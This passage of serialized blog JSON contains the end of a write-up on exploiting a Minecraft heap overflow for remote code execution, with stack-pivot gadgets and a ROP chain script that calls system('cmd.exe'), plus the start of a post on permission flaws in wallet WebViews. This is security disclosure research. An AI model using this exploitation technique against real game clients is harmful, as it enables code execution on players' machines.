",{"type":22,"tag":30,"props":159318,"children":159320},{"className":159319},[],[159321],{"type":27,"value":159112},{"type":27,"value":159323},". This ultimately calls ",{"type":22,"tag":30,"props":159325,"children":159327},{"className":159326},[],[159328],{"type":27,"value":159329},"default_ec_key_meth->init",{"type":27,"value":159331},", which executes the pivot and begins ROP execution.",{"type":22,"tag":23,"props":159333,"children":159334},{},[159335,159337,159343,159345,159351],{"type":27,"value":159336},"We chose to overwrite the ",{"type":22,"tag":30,"props":159338,"children":159340},{"className":159339},[],[159341],{"type":27,"value":159342},"OPENSSL_free",{"type":27,"value":159344}," callback. This produces only a minor memory leak, while overwriting ",{"type":22,"tag":30,"props":159346,"children":159348},{"className":159347},[],[159349],{"type":27,"value":159350},"OPENSSL_malloc",{"type":27,"value":159352}," would require our replacement function to return a writable, unused memory region.",{"type":22,"tag":23,"props":159354,"children":159355},{},[159356,159358,159364,159365,159371,159373,159378],{"type":27,"value":159357},"For the stack pivot, we found two useful gadgets: ",{"type":22,"tag":30,"props":159359,"children":159361},{"className":159360},[],[159362],{"type":27,"value":159363},"add rsp, 0x10; pop r14; ret",{"type":27,"value":209},{"type":22,"tag":30,"props":159366,"children":159368},{"className":159367},[],[159369],{"type":27,"value":159370},"xchg rsp, rax; ret",{"type":27,"value":159372},". The exploit writes them into ",{"type":22,"tag":30,"props":159374,"children":159376},{"className":159375},[],[159377],{"type":27,"value":158916},{"type":27,"value":159379}," like this:",{"type":22,"tag":91,"props":159381,"children":159383},{"code":159382}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[159384],{"type":22,"tag":30,"props":159385,"children":159386},{"__ignoreMap":7},[159387],{"type":27,"value":159382},{"type":22,"tag":23,"props":159389,"children":159390},{},[159391,159393,159398,159400,159405,159407,159412,159414,159419,159421,159426,159428,159433,159435,159440],{"type":27,"value":159392},"The second gadget, ",{"type":22,"tag":30,"props":159394,"children":159396},{"className":159395},[],[159397],{"type":27,"value":159370},{"type":27,"value":159399},", is placed in the slot corresponding to the ",{"type":22,"tag":30,"props":159401,"children":159403},{"className":159402},[],[159404],{"type":27,"value":24728},{"type":27,"value":159406}," function pointer. As mentioned earlier, when ",{"type":22,"tag":30,"props":159408,"children":159410},{"className":159409},[],[159411],{"type":27,"value":159169},{"type":27,"value":159413}," is called, ",{"type":22,"tag":30,"props":159415,"children":159417},{"className":159416},[],[159418],{"type":27,"value":60771},{"type":27,"value":159420}," contains a pointer to ",{"type":22,"tag":30,"props":159422,"children":159424},{"className":159423},[],[159425],{"type":27,"value":159154},{"type":27,"value":159427}," - which we have overwritten and now points to our ",{"type":22,"tag":30,"props":159429,"children":159431},{"className":159430},[],[159432],{"type":27,"value":159363},{"type":27,"value":159434}," gadget in ",{"type":22,"tag":30,"props":159436,"children":159438},{"className":159437},[],[159439],{"type":27,"value":158916},{"type":27,"value":231},{"type":22,"tag":23,"props":159442,"children":159443},{},[159444,159446,159452,159454,159459,159461,159467,159469,159474,159476,159481,159483,159488,159490,159495,159497,159502,159504,159509],{"type":27,"value":159445},"When the call occurs, ",{"type":22,"tag":30,"props":159447,"children":159449},{"className":159448},[],[159450],{"type":27,"value":159451},"xchg rsp, rax",{"type":27,"value":159453}," swaps the stack pointer with this controlled pointer inside ",{"type":22,"tag":30,"props":159455,"children":159457},{"className":159456},[],[159458],{"type":27,"value":158916},{"type":27,"value":159460},", effectively moving ",{"type":22,"tag":30,"props":159462,"children":159464},{"className":159463},[],[159465],{"type":27,"value":159466},"rsp",{"type":27,"value":159468}," into our ROP region. After the ",{"type":22,"tag":30,"props":159470,"children":159472},{"className":159471},[],[159473],{"type":27,"value":14996},{"type":27,"value":159475},", execution continues at ",{"type":22,"tag":30,"props":159477,"children":159479},{"className":159478},[],[159480],{"type":27,"value":159363},{"type":27,"value":159482},", which advances ",{"type":22,"tag":30,"props":159484,"children":159486},{"className":159485},[],[159487],{"type":27,"value":159466},{"type":27,"value":159489}," by ",{"type":22,"tag":30,"props":159491,"children":159493},{"className":159492},[],[159494],{"type":27,"value":48530},{"type":27,"value":159496}," bytes, skipping over the padding and the ",{"type":22,"tag":30,"props":159498,"children":159500},{"className":159499},[],[159501],{"type":27,"value":159370},{"type":27,"value":159503}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":22,"tag":30,"props":159505,"children":159507},{"className":159506},[],[159508],{"type":27,"value":159370},{"type":27,"value":159510},") begins executing.",{"type":22,"tag":1760,"props":159512,"children":159514},{"id":159513},"rop-chain",[159515],{"type":27,"value":159516},"ROP Chain",{"type":22,"tag":23,"props":159518,"children":159519},{},[159520,159522,159528,159530,159535],{"type":27,"value":159521},"For the demo, the ROP chain simply calls ",{"type":22,"tag":30,"props":159523,"children":159525},{"className":159524},[],[159526],{"type":27,"value":159527},"system(\"cmd.exe\")",{"type":27,"value":159529},". Because Minecraft does not use ",{"type":22,"tag":30,"props":159531,"children":159533},{"className":159532},[],[159534],{"type":27,"value":135259},{"type":27,"value":159536},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":22,"tag":23,"props":159538,"children":159539},{},[159540,159542,159548,159550,159556,159558,159563,159565,159571,159573,159578],{"type":27,"value":159541},"This is straightforward: the chain first calls ",{"type":22,"tag":30,"props":159543,"children":159545},{"className":159544},[],[159546],{"type":27,"value":159547},"GetModuleHandle(\"ucrtbase.dll\")",{"type":27,"value":159549}," to obtain the base address of ",{"type":22,"tag":30,"props":159551,"children":159553},{"className":159552},[],[159554],{"type":27,"value":159555},"ucrtbase.dll",{"type":27,"value":159557}," (which exports ",{"type":22,"tag":30,"props":159559,"children":159561},{"className":159560},[],[159562],{"type":27,"value":135259},{"type":27,"value":159564},"). It then calls ",{"type":22,"tag":30,"props":159566,"children":159568},{"className":159567},[],[159569],{"type":27,"value":159570},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":27,"value":159572}," to retrieve the function’s address. Finally, it invokes ",{"type":22,"tag":30,"props":159574,"children":159576},{"className":159575},[],[159577],{"type":27,"value":135259},{"type":27,"value":159579}," with the \"cmd.exe\" string.",{"type":22,"tag":23,"props":159581,"children":159582},{},[159583],{"type":27,"value":159584},"In the exploit script, the ROP chain looks something like this:",{"type":22,"tag":91,"props":159586,"children":159588},{"code":159587,"language":23451,"meta":7,"className":23452,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[159589],{"type":22,"tag":30,"props":159590,"children":159591},{"__ignoreMap":7},[159592,159600,159608,159633,159641,159649,159656,159664,159672,159699,159712,159725,159746,159775,159804,159811,159819,159832,159840,159876,159884,159891,159899,159906,159931,159942,159954],{"type":22,"tag":101,"props":159593,"children":159594},{"class":103,"line":104},[159595],{"type":22,"tag":101,"props":159596,"children":159597},{"style":2215},[159598],{"type":27,"value":159599},"# get the address of `GetModuleHandle` to `rax`\n",{"type":22,"tag":101,"props":159601,"children":159602},{"class":103,"line":157},[159603],{"type":22,"tag":101,"props":159604,"children":159605},{"style":120},[159606],{"type":27,"value":159607},"rop.gadget(pop_r8)\n",{"type":22,"tag":101,"props":159609,"children":159610},{"class":103,"line":182},[159611,159616,159620,159625,159629],{"type":22,"tag":101,"props":159612,"children":159613},{"style":120},[159614],{"type":27,"value":159615},"rop.gadget(addr_get_module_handle_a ",{"type":22,"tag":101,"props":159617,"children":159618},{"style":166},[159619],{"type":27,"value":8372},{"type":22,"tag":101,"props":159621,"children":159622},{"style":108},[159623],{"type":27,"value":159624}," 0x",{"type":22,"tag":101,"props":159626,"children":159627},{"style":1544},[159628],{"type":27,"value":138376},{"type":22,"tag":101,"props":159630,"children":159631},{"style":120},[159632],{"type":27,"value":2510},{"type":22,"tag":101,"props":159634,"children":159635},{"class":103,"line":367},[159636],{"type":22,"tag":101,"props":159637,"children":159638},{"style":2215},[159639],{"type":27,"value":159640},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":22,"tag":101,"props":159642,"children":159643},{"class":103,"line":398},[159644],{"type":22,"tag":101,"props":159645,"children":159646},{"style":120},[159647],{"type":27,"value":159648},"rop.gadget(mov_rax_r8_28)\n",{"type":22,"tag":101,"props":159650,"children":159651},{"class":103,"line":428},[159652],{"type":22,"tag":101,"props":159653,"children":159654},{"emptyLinePlaceholder":15},[159655],{"type":27,"value":1581},{"type":22,"tag":101,"props":159657,"children":159658},{"class":103,"line":997},[159659],{"type":22,"tag":101,"props":159660,"children":159661},{"style":2215},[159662],{"type":27,"value":159663},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":22,"tag":101,"props":159665,"children":159666},{"class":103,"line":1032},[159667],{"type":22,"tag":101,"props":159668,"children":159669},{"style":120},[159670],{"type":27,"value":159671},"rop.gadget(pop_rcx)\n",{"type":22,"tag":101,"props":159673,"children":159674},{"class":103,"line":1063},[159675,159680,159685,159690,159694],{"type":22,"tag":101,"props":159676,"children":159677},{"style":120},[159678],{"type":27,"value":159679},"rop.gadget(",{"type":22,"tag":101,"props":159681,"children":159682},{"style":108},[159683],{"type":27,"value":159684},"0x",{"type":22,"tag":101,"props":159686,"children":159687},{"style":1544},[159688],{"type":27,"value":159689},"7468B68",{"type":22,"tag":101,"props":159691,"children":159692},{"style":120},[159693],{"type":27,"value":901},{"type":22,"tag":101,"props":159695,"children":159696},{"style":2215},[159697],{"type":27,"value":159698},"# offset of \"ucrtbase.dll\" string\n",{"type":22,"tag":101,"props":159700,"children":159701},{"class":103,"line":1071},[159702,159707],{"type":22,"tag":101,"props":159703,"children":159704},{"style":120},[159705],{"type":27,"value":159706},"rop.gadget(ret) ",{"type":22,"tag":101,"props":159708,"children":159709},{"style":2215},[159710],{"type":27,"value":159711},"# movaps alignment\n",{"type":22,"tag":101,"props":159713,"children":159714},{"class":103,"line":1110},[159715,159720],{"type":22,"tag":101,"props":159716,"children":159717},{"style":120},[159718],{"type":27,"value":159719},"rop.gadget(push_rax_ret) ",{"type":22,"tag":101,"props":159721,"children":159722},{"style":2215},[159723],{"type":27,"value":159724},"# calls `GetModuleHandle`\n",{"type":22,"tag":101,"props":159726,"children":159727},{"class":103,"line":1118},[159728,159733,159737,159742],{"type":22,"tag":101,"props":159729,"children":159730},{"style":120},[159731],{"type":27,"value":159732},"rop.literal(u64(",{"type":22,"tag":101,"props":159734,"children":159735},{"style":108},[159736],{"type":27,"value":7262},{"type":22,"tag":101,"props":159738,"children":159739},{"style":6476},[159740],{"type":27,"value":159741},"\"ucrtbase\"",{"type":22,"tag":101,"props":159743,"children":159744},{"style":120},[159745],{"type":27,"value":23703},{"type":22,"tag":101,"props":159747,"children":159748},{"class":103,"line":1158},[159749,159753,159757,159762,159767,159771],{"type":22,"tag":101,"props":159750,"children":159751},{"style":120},[159752],{"type":27,"value":159732},{"type":22,"tag":101,"props":159754,"children":159755},{"style":108},[159756],{"type":27,"value":7262},{"type":22,"tag":101,"props":159758,"children":159759},{"style":6476},[159760],{"type":27,"value":159761},"\".dll",{"type":22,"tag":101,"props":159763,"children":159764},{"style":52370},[159765],{"type":27,"value":159766},"\\x00\\x00\\x00\\x00",{"type":22,"tag":101,"props":159768,"children":159769},{"style":6476},[159770],{"type":27,"value":24051},{"type":22,"tag":101,"props":159772,"children":159773},{"style":120},[159774],{"type":27,"value":23703},{"type":22,"tag":101,"props":159776,"children":159777},{"class":103,"line":1166},[159778,159782,159786,159791,159796,159800],{"type":22,"tag":101,"props":159779,"children":159780},{"style":120},[159781],{"type":27,"value":159732},{"type":22,"tag":101,"props":159783,"children":159784},{"style":108},[159785],{"type":27,"value":7262},{"type":22,"tag":101,"props":159787,"children":159788},{"style":6476},[159789],{"type":27,"value":159790},"\"system",{"type":22,"tag":101,"props":159792,"children":159793},{"style":52370},[159794],{"type":27,"value":159795},"\\x00\\x00",{"type":22,"tag":101,"props":159797,"children":159798},{"style":6476},[159799],{"type":27,"value":24051},{"type":22,"tag":101,"props":159801,"children":159802},{"style":120},[159803],{"type":27,"value":23703},{"type":22,"tag":101,"props":159805,"children":159806},{"class":103,"line":1215},[159807],{"type":22,"tag":101,"props":159808,"children":159809},{"emptyLinePlaceholder":15},[159810],{"type":27,"value":1581},{"type":22,"tag":101,"props":159812,"children":159813},{"class":103,"line":2425},[159814],{"type":22,"tag":101,"props":159815,"children":159816},{"style":2215},[159817],{"type":27,"value":159818},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":22,"tag":101,"props":159820,"children":159821},{"class":103,"line":5417},[159822,159827],{"type":22,"tag":101,"props":159823,"children":159824},{"style":120},[159825],{"type":27,"value":159826},"rop.gadget(xchg_rcx_rax) ",{"type":22,"tag":101,"props":159828,"children":159829},{"style":2215},[159830],{"type":27,"value":159831},"# move the return value of `GetModuleHandle` to rcx\n",{"type":22,"tag":101,"props":159833,"children":159834},{"class":103,"line":7714},[159835],{"type":22,"tag":101,"props":159836,"children":159837},{"style":120},[159838],{"type":27,"value":159839},"rop.gadget(pop_rdx)\n",{"type":22,"tag":101,"props":159841,"children":159842},{"class":103,"line":7723},[159843,159847,159851,159855,159859,159863,159867,159871],{"type":22,"tag":101,"props":159844,"children":159845},{"style":120},[159846],{"type":27,"value":159679},{"type":22,"tag":101,"props":159848,"children":159849},{"style":108},[159850],{"type":27,"value":159684},{"type":22,"tag":101,"props":159852,"children":159853},{"style":1544},[159854],{"type":27,"value":159689},{"type":22,"tag":101,"props":159856,"children":159857},{"style":166},[159858],{"type":27,"value":3643},{"type":22,"tag":101,"props":159860,"children":159861},{"style":108},[159862],{"type":27,"value":159624},{"type":22,"tag":101,"props":159864,"children":159865},{"style":1544},[159866],{"type":27,"value":92760},{"type":22,"tag":101,"props":159868,"children":159869},{"style":120},[159870],{"type":27,"value":901},{"type":22,"tag":101,"props":159872,"children":159873},{"style":2215},[159874],{"type":27,"value":159875},"# offset of \"system\" string\n",{"type":22,"tag":101,"props":159877,"children":159878},{"class":103,"line":7791},[159879],{"type":22,"tag":101,"props":159880,"children":159881},{"style":120},[159882],{"type":27,"value":159883},"rop.gadget(get_proc_addr)\n",{"type":22,"tag":101,"props":159885,"children":159886},{"class":103,"line":7799},[159887],{"type":22,"tag":101,"props":159888,"children":159889},{"emptyLinePlaceholder":15},[159890],{"type":27,"value":1581},{"type":22,"tag":101,"props":159892,"children":159893},{"class":103,"line":7829},[159894],{"type":22,"tag":101,"props":159895,"children":159896},{"style":2215},[159897],{"type":27,"value":159898},"# call `system(\"cmd.exe\")`\n",{"type":22,"tag":101,"props":159900,"children":159901},{"class":103,"line":7837},[159902],{"type":22,"tag":101,"props":159903,"children":159904},{"style":120},[159905],{"type":27,"value":159671},{"type":22,"tag":101,"props":159907,"children":159908},{"class":103,"line":7868},[159909,159913,159917,159922,159926],{"type":22,"tag":101,"props":159910,"children":159911},{"style":120},[159912],{"type":27,"value":159679},{"type":22,"tag":101,"props":159914,"children":159915},{"style":108},[159916],{"type":27,"value":159684},{"type":22,"tag":101,"props":159918,"children":159919},{"style":1544},[159920],{"type":27,"value":159921},"7468DB8",{"type":22,"tag":101,"props":159923,"children":159924},{"style":120},[159925],{"type":27,"value":901},{"type":22,"tag":101,"props":159927,"children":159928},{"style":2215},[159929],{"type":27,"value":159930},"# offset of \"cmd.exe\" string\n",{"type":22,"tag":101,"props":159932,"children":159933},{"class":103,"line":7876},[159934,159938],{"type":22,"tag":101,"props":159935,"children":159936},{"style":120},[159937],{"type":27,"value":159706},{"type":22,"tag":101,"props":159939,"children":159940},{"style":2215},[159941],{"type":27,"value":159711},{"type":22,"tag":101,"props":159943,"children":159944},{"class":103,"line":7936},[159945,159949],{"type":22,"tag":101,"props":159946,"children":159947},{"style":120},[159948],{"type":27,"value":159719},{"type":22,"tag":101,"props":159950,"children":159951},{"style":2215},[159952],{"type":27,"value":159953},"# calls `system`\n",{"type":22,"tag":101,"props":159955,"children":159956},{"class":103,"line":13054},[159957,159961,159965,159970,159975,159979],{"type":22,"tag":101,"props":159958,"children":159959},{"style":120},[159960],{"type":27,"value":159732},{"type":22,"tag":101,"props":159962,"children":159963},{"style":108},[159964],{"type":27,"value":7262},{"type":22,"tag":101,"props":159966,"children":159967},{"style":6476},[159968],{"type":27,"value":159969},"\"cmd.exe",{"type":22,"tag":101,"props":159971,"children":159972},{"style":52370},[159973],{"type":27,"value":159974},"\\x00",{"type":22,"tag":101,"props":159976,"children":159977},{"style":6476},[159978],{"type":27,"value":24051},{"type":22,"tag":101,"props":159980,"children":159981},{"style":120},[159982],{"type":27,"value":23703},{"type":22,"tag":1760,"props":159984,"children":159986},{"id":159985},"demo",[159987],{"type":27,"value":159988},"Demo",{"type":22,"tag":23,"props":159990,"children":159991},{},[159992],{"type":27,"value":159993},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":22,"tag":135365,"props":159995,"children":159998},{"className":159996,"controls":15},[145332,159997],"blog-video-wide",[159999,160000,160004],{"type":27,"value":145335},{"type":22,"tag":144571,"props":160001,"children":160003},{"src":160002,"type":135363},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":27,"value":145341},{"type":22,"tag":53,"props":160006,"children":160007},{"id":6776},[160008],{"type":27,"value":6779},{"type":22,"tag":23,"props":160010,"children":160011},{},[160012],{"type":27,"value":160013},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":22,"tag":23,"props":160015,"children":160016},{},[160017],{"type":27,"value":160018},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":22,"tag":23,"props":160020,"children":160021},{},[160022],{"type":27,"value":160023},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":22,"tag":6891,"props":160025,"children":160026},{},[160027],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":160029},[160030,160034,160039,160050],{"id":150690,"depth":157,"text":150693,"children":160031},[160032,160033],{"id":150725,"depth":182,"text":150728},{"id":150741,"depth":182,"text":150744},{"id":150762,"depth":157,"text":150765,"children":160035},[160036,160037,160038],{"id":150778,"depth":182,"text":150781},{"id":150866,"depth":182,"text":150869},{"id":153166,"depth":182,"text":153169},{"id":9463,"depth":157,"text":9466,"children":160040},[160041,160042,160043,160044,160045,160046,160047,160048,160049],{"id":153273,"depth":182,"text":153276},{"id":153298,"depth":182,"text":153301},{"id":153435,"depth":182,"text":153438},{"id":155599,"depth":182,"text":155602},{"id":155961,"depth":182,"text":155964},{"id":156781,"depth":182,"text":156784},{"id":158895,"depth":182,"text":158898},{"id":159513,"depth":182,"text":159516},{"id":159985,"depth":182,"text":159988},{"id":6776,"depth":157,"text":6779},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":160055,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":160056,"description":160057,"date":160058,"author":160059,"image":160061,"isFeatured":15,"onBlogPage":15,"tags":160063,"body":160065,"_type":6912,"_id":162388,"_source":6914,"_file":162389,"_stem":162390,"_extension":6917},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[35197,35196,160060],"nikolaos",{"src":160062,"width":100775,"height":17626},"/posts/insecure-webview-integrations/title.png",[36137,135471,160064],"webview",{"type":19,"children":160066,"toc":162375},[160067,160072,160077,160083,160088,160093,160098,160104,160109,160115,160137,160150,160170,160184,160190,160204,160212,160217,160223,160228,160237,160258,160402,160407,160413,160418,160423,160437,160441,160446,160464,161892,161896,161901,161913,161922,161927,161933,161955,161963,161968,161974,161979,161997,162002,162008,162021,162303,162331,162344,162349,162362,162366,162371],{"type":22,"tag":23,"props":160068,"children":160069},{},[160070],{"type":27,"value":160071},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":22,"tag":23,"props":160073,"children":160074},{},[160075],{"type":27,"value":160076},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":22,"tag":39369,"props":160078,"children":160080},{"id":160079},"exploiting-mobile-webviews",[160081],{"type":27,"value":160082},"Exploiting Mobile WebViews",{"type":22,"tag":23,"props":160084,"children":160085},{},[160086],{"type":27,"value":160087},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":22,"tag":23,"props":160089,"children":160090},{},[160091],{"type":27,"value":160092},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":22,"tag":23,"props":160094,"children":160095},{},[160096],{"type":27,"value":160097},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":22,"tag":53,"props":160099,"children":160101},{"id":160100},"handling-webview-permissions",[160102],{"type":27,"value":160103},"Handling WebView permissions",{"type":22,"tag":23,"props":160105,"children":160106},{},[160107],{"type":27,"value":160108},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":22,"tag":1760,"props":160110,"children":160112},{"id":160111},"android",[160113],{"type":27,"value":160114},"Android",{"type":22,"tag":23,"props":160116,"children":160117},{},[160118,160120,160127,160129,160135],{"type":27,"value":160119},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":22,"tag":80,"props":160121,"children":160124},{"href":160122,"rel":160123},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[84],[160125],{"type":27,"value":160126},"onPermissionRequest",{"type":27,"value":160128},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":22,"tag":30,"props":160130,"children":160132},{"className":160131},[],[160133],{"type":27,"value":160134},"PermissionRequest",{"type":27,"value":160136}," object where the WebView developers must decide whether to grant or deny it.",{"type":22,"tag":604,"props":160138,"children":160139},{},[160140],{"type":22,"tag":23,"props":160141,"children":160142},{},[160143,160145,160148],{"type":27,"value":160144},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":22,"tag":101,"props":160146,"children":160147},{},[],{"type":27,"value":160149},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":22,"tag":23,"props":160151,"children":160152},{},[160153,160155,160161,160163,160169],{"type":27,"value":160154},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":22,"tag":30,"props":160156,"children":160158},{"className":160157},[],[160159],{"type":27,"value":160160},"getOrigin()",{"type":27,"value":160162}," and the requested permissions with ",{"type":22,"tag":30,"props":160164,"children":160166},{"className":160165},[],[160167],{"type":27,"value":160168},"getResources()",{"type":27,"value":231},{"type":22,"tag":23,"props":160171,"children":160172},{},[160173,160175,160182],{"type":27,"value":160174},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":22,"tag":80,"props":160176,"children":160179},{"href":160177,"rel":160178},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[84],[160180],{"type":27,"value":160181},"webview_shell",{"type":27,"value":160183},". In this instance, no origin checks are performed.",{"type":22,"tag":1760,"props":160185,"children":160187},{"id":160186},"ios",[160188],{"type":27,"value":160189},"iOS",{"type":22,"tag":23,"props":160191,"children":160192},{},[160193,160195,160202],{"type":27,"value":160194},"On the contrary, iOS ",{"type":22,"tag":80,"props":160196,"children":160199},{"href":160197,"rel":160198},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[84],[160200],{"type":27,"value":160201},"documentation",{"type":27,"value":160203}," states that:",{"type":22,"tag":604,"props":160205,"children":160206},{},[160207],{"type":22,"tag":23,"props":160208,"children":160209},{},[160210],{"type":27,"value":160211},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":22,"tag":23,"props":160213,"children":160214},{},[160215],{"type":27,"value":160216},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":22,"tag":53,"props":160218,"children":160220},{"id":160219},"the-shortcomings-of-webview-implementations",[160221],{"type":27,"value":160222},"The shortcomings of WebView implementations",{"type":22,"tag":23,"props":160224,"children":160225},{},[160226],{"type":27,"value":160227},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":22,"tag":35342,"props":160229,"children":160230},{"style":35344},[160231],{"type":22,"tag":7959,"props":160232,"children":160236},{"src":160233,"alt":160234,"style":160235},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":22,"tag":23,"props":160238,"children":160239},{},[160240,160242,160248,160250,160256],{"type":27,"value":160241},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":22,"tag":30,"props":160243,"children":160245},{"className":160244},[],[160246],{"type":27,"value":160247},"react-native-webview",{"type":27,"value":160249},". If we take a look at how they handle a request that reaches the ",{"type":22,"tag":80,"props":160251,"children":160254},{"href":160252,"rel":160253},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[84],[160255],{"type":27,"value":160126},{"type":27,"value":160257}," method, we see a similar pattern.",{"type":22,"tag":91,"props":160259,"children":160263},{"className":160260,"code":160261,"language":160262,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[160264],{"type":22,"tag":30,"props":160265,"children":160266},{"__ignoreMap":7},[160267,160275,160304,160364,160384,160395],{"type":22,"tag":101,"props":160268,"children":160269},{"class":103,"line":104},[160270],{"type":22,"tag":101,"props":160271,"children":160272},{"style":2215},[160273],{"type":27,"value":160274},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":22,"tag":101,"props":160276,"children":160277},{"class":103,"line":157},[160278,160282,160286,160291,160295,160300],{"type":22,"tag":101,"props":160279,"children":160280},{"style":3595},[160281],{"type":27,"value":19578},{"type":22,"tag":101,"props":160283,"children":160284},{"style":120},[160285],{"type":27,"value":3603},{"type":22,"tag":101,"props":160287,"children":160288},{"style":126},[160289],{"type":27,"value":160290},"requestedAndroidPermissions",{"type":22,"tag":101,"props":160292,"children":160293},{"style":120},[160294],{"type":27,"value":231},{"type":22,"tag":101,"props":160296,"children":160297},{"style":926},[160298],{"type":27,"value":160299},"isEmpty",{"type":22,"tag":101,"props":160301,"children":160302},{"style":120},[160303],{"type":27,"value":95528},{"type":22,"tag":101,"props":160305,"children":160306},{"class":103,"line":182},[160307,160312,160316,160321,160325,160330,160334,160339,160343,160347,160352,160356,160360],{"type":22,"tag":101,"props":160308,"children":160309},{"style":126},[160310],{"type":27,"value":160311}," 